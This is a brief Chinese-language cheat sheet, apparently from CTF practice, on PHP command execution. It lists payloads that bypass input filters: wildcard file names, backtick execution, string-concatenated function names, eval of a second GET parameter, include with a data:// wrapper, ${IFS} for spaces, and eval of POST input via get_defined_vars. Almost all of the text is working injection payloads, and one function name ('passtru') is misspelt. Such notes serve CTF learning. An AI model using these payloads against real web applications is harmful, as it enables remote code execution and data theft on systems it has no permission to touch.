命令执行

outman
8
2025-06-08
  1. flag被过滤:system('tac fla*');

  2. system被过滤:echo `tac fla*`

  3. 拼接法:?c=$a=sys;$b=tem;$c=$a.$b;$c("tac fla*");

  4. 再传参:?c=eval($_GET[1]);&1=system("tac flag.php");

  5. 利用passtru:?c=passtru(tac fla*);

  6. 分号被过滤:利用文件包含,?c=include$_GET[1]?>&1=data://text/plain,<?php system("tac flag.php")?>---传入新get闭合,这样就没有那些过滤了

  7. 空格被过路:利用\t;%20;${IFS} 代替

  8. 没过滤英文括号:?c=eval(array_pop(next(get_defined_vars())));

Array
(
    [_GET] => Array(...),
    [_POST] => Array([1] => "your_input"),  // 如果 POST 传了 1=xxx
    [_COOKIE] => Array(...),
    [GLOBALS] => Array(...),
    // 其他变量...
)